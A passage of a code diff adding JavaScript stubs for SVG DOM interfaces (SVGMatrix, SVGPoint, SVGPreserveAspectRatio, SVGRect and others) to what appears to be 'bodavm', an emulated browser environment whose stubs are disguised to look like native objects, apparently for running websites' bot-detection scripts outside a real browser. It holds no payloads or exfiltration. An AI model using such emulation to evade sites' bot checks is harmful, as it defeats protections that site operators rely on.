configurable: true, + enumerable: true, + writable: true, + value: function flipY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "flipY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "inverse", { + configurable: true, + enumerable: true, + writable: true, + value: function inverse() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "inverse", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "multiply", { + configurable: true, + enumerable: true, + writable: true, + value: function multiply() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "multiply", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "rotate", { + configurable: true, + enumerable: true, + writable: true, + value: function rotate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "rotate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "rotateFromVector", { + configurable: true, + enumerable: true, + writable: true, + value: function rotateFromVector() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "rotateFromVector", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "scale", { + configurable: true, + enumerable: true, + writable: true, + value: function scale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "scale", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "scaleNonUniform", { + configurable: true, + enumerable: true, + writable: true, + value: function scaleNonUniform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "scaleNonUniform", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "skewX", { + configurable: true, + enumerable: true, + writable: true, + value: function skewX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "skewX", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "skewY", { + configurable: true, + enumerable: true, + writable: true, + value: function skewY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "skewY", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGMatrix', "translate", { + configurable: true, + enumerable: true, + writable: true, + value: function translate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "translate", arguments); + } +}, 'prototype'); +// SVGMetadataElement对象 + +bodavm.memory.globalobj['SVGMetadataElement'] = function SVGMetadataElement() { + console.log_copy('SVGMetadataElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMetadataElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMetadataElement'], "SVGMetadataElement"); +bodavm.memory.globalobj['SVGMetadataElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGMetadataElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +// SVGMPathElement对象 + +bodavm.memory.globalobj['SVGMPathElement'] = function SVGMPathElement() { + console.log_copy('SVGMPathElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGMPathElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMPathElement'], "SVGMPathElement"); +bodavm.memory.globalobj['SVGMPathElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGElement'].prototype; +bodavm.memory.globalobj['SVGMPathElement'].__proto__ = bodavm.memory.globalobj['SVGElement']; +bodavm.toolsFunc.defineProperty('SVGMPathElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMPathElement'].prototype, "SVGMPathElement", "href_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGNumber对象 + +bodavm.memory.globalobj['SVGNumber'] = function SVGNumber() { + console.log_copy('SVGNumber 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGNumber)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGNumber'], "SVGNumber"); +bodavm.toolsFunc.defineProperty('SVGNumber', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumber'].prototype, "SVGNumber", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumber'].prototype, "SVGNumber", "value_set", arguments); + } +}, 'prototype'); +// SVGNumberList对象 + +bodavm.memory.globalobj['SVGNumberList'] = function SVGNumberList() { + console.log_copy('SVGNumberList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGNumberList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGNumberList'], "SVGNumberList"); +bodavm.toolsFunc.defineProperty('SVGNumberList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGNumberList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGNumberList'].prototype, "SVGNumberList", "replaceItem", arguments); + } +}, 'prototype'); +// SVGPoint对象 + +bodavm.memory.globalobj['SVGPoint'] = function SVGPoint() { + console.log_copy('SVGPoint 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPoint)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPoint'], "SVGPoint"); +bodavm.toolsFunc.defineProperty('SVGPoint', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPoint', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPoint', "matrixTransform", { + configurable: true, + enumerable: true, + writable: true, + value: function matrixTransform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPoint'].prototype, "SVGPoint", "matrixTransform", arguments); + } +}, 'prototype'); +// SVGPointList对象 + +bodavm.memory.globalobj['SVGPointList'] = function SVGPointList() { + console.log_copy('SVGPointList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPointList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPointList'], "SVGPointList"); +bodavm.toolsFunc.defineProperty('SVGPointList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "numberOfItems", { + configurable: true, + enumerable: true, + get: function numberOfItems() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "numberOfItems_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "appendItem", { + configurable: true, + enumerable: true, + writable: true, + value: function appendItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "appendItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "getItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "getItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "initialize", { + configurable: true, + enumerable: true, + writable: true, + value: function initialize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "initialize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "insertItemBefore", { + configurable: true, + enumerable: true, + writable: true, + value: function insertItemBefore() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "insertItemBefore", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "removeItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "removeItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPointList', "replaceItem", { + configurable: true, + enumerable: true, + writable: true, + value: function replaceItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPointList'].prototype, "SVGPointList", "replaceItem", arguments); + } +}, 'prototype'); +// SVGPolygonElement对象 + +bodavm.memory.globalobj['SVGPolygonElement'] = function SVGPolygonElement() { + console.log_copy('SVGPolygonElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPolygonElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPolygonElement'], "SVGPolygonElement"); +bodavm.memory.globalobj['SVGPolygonElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGPolygonElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGPolygonElement', "points", { + configurable: true, + enumerable: true, + get: function points() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolygonElement'].prototype, "SVGPolygonElement", "points_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPolygonElement', "animatedPoints", { + configurable: true, + enumerable: true, + get: function animatedPoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolygonElement'].prototype, "SVGPolygonElement", "animatedPoints_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGPolylineElement对象 + +bodavm.memory.globalobj['SVGPolylineElement'] = function SVGPolylineElement() { + console.log_copy('SVGPolylineElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPolylineElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPolylineElement'], "SVGPolylineElement"); +bodavm.memory.globalobj['SVGPolylineElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGPolylineElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGPolylineElement', "points", { + configurable: true, + enumerable: true, + get: function points() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolylineElement'].prototype, "SVGPolylineElement", "points_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPolylineElement', "animatedPoints", { + configurable: true, + enumerable: true, + get: function animatedPoints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPolylineElement'].prototype, "SVGPolylineElement", "animatedPoints_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGPreserveAspectRatio对象 + +bodavm.memory.globalobj['SVGPreserveAspectRatio'] = function SVGPreserveAspectRatio() { + console.log_copy('SVGPreserveAspectRatio 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGPreserveAspectRatio)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPreserveAspectRatio'], "SVGPreserveAspectRatio"); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_MEET", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_SLICE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "meetOrSlice", { + configurable: true, + enumerable: true, + get: function meetOrSlice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "meetOrSlice_get", arguments); + }, + set: function meetOrSlice() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGPreserveAspectRatio'].prototype, "SVGPreserveAspectRatio", "meetOrSlice_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMIN", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMID", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMINYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMIDYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_PRESERVEASPECTRATIO_XMAXYMAX", { + configurable: false, + enumerable: true, + writable: false, + value: 10 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_MEET", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGPreserveAspectRatio', "SVG_MEETORSLICE_SLICE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +// SVGRadialGradientElement对象 + +bodavm.memory.globalobj['SVGRadialGradientElement'] = function SVGRadialGradientElement() { + console.log_copy('SVGRadialGradientElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGRadialGradientElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRadialGradientElement'], "SVGRadialGradientElement"); +bodavm.memory.globalobj['SVGRadialGradientElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGradientElement'].prototype; +bodavm.memory.globalobj['SVGRadialGradientElement'].__proto__ = bodavm.memory.globalobj['SVGGradientElement']; +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_REFLECT", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_PAD", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "SVG_SPREADMETHOD_UNKNOWN", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "cx", { + configurable: true, + enumerable: true, + get: function cx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "cx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "cy", { + configurable: true, + enumerable: true, + get: function cy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "cy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "r", { + configurable: true, + enumerable: true, + get: function r() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "r_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fx", { + configurable: true, + enumerable: true, + get: function fx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fx_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fy", { + configurable: true, + enumerable: true, + get: function fy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRadialGradientElement', "fr", { + configurable: true, + enumerable: true, + get: function fr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRadialGradientElement'].prototype, "SVGRadialGradientElement", "fr_get", arguments); + }, + set: undefined +}, 'prototype'); +// SVGRect对象 + +bodavm.memory.globalobj['SVGRect'] = function SVGRect() { + console.log_copy('SVGRect 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGRect)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRect'], "SVGRect"); +bodavm.toolsFunc.defineProperty('SVGRect', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRect', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRect', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRect', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRect'].prototype, "SVGRect", "height_set", arguments); + } +}, 'prototype'); +// SVGRectElement对象 + +bodavm.memory.globalobj['SVGRectElement'] = function SVGRectElement() { + console.log_copy('SVGRectElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof SVGRectElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGRectElement'], "SVGRectElement"); +bodavm.memory.globalobj['SVGRectElement'].prototype.__proto__ = bodavm.memory.globalobj['SVGGeometryElement'].prototype; +bodavm.memory.globalobj['SVGRectElement'].__proto__ = bodavm.memory.globalobj['SVGGeometryElement']; +bodavm.toolsFunc.defineProperty('SVGRectElement', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGRectElement'].prototype, "SVGRectElement", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('SVGRectElement', "rx", { + configurable: true, + enumerable: true, + 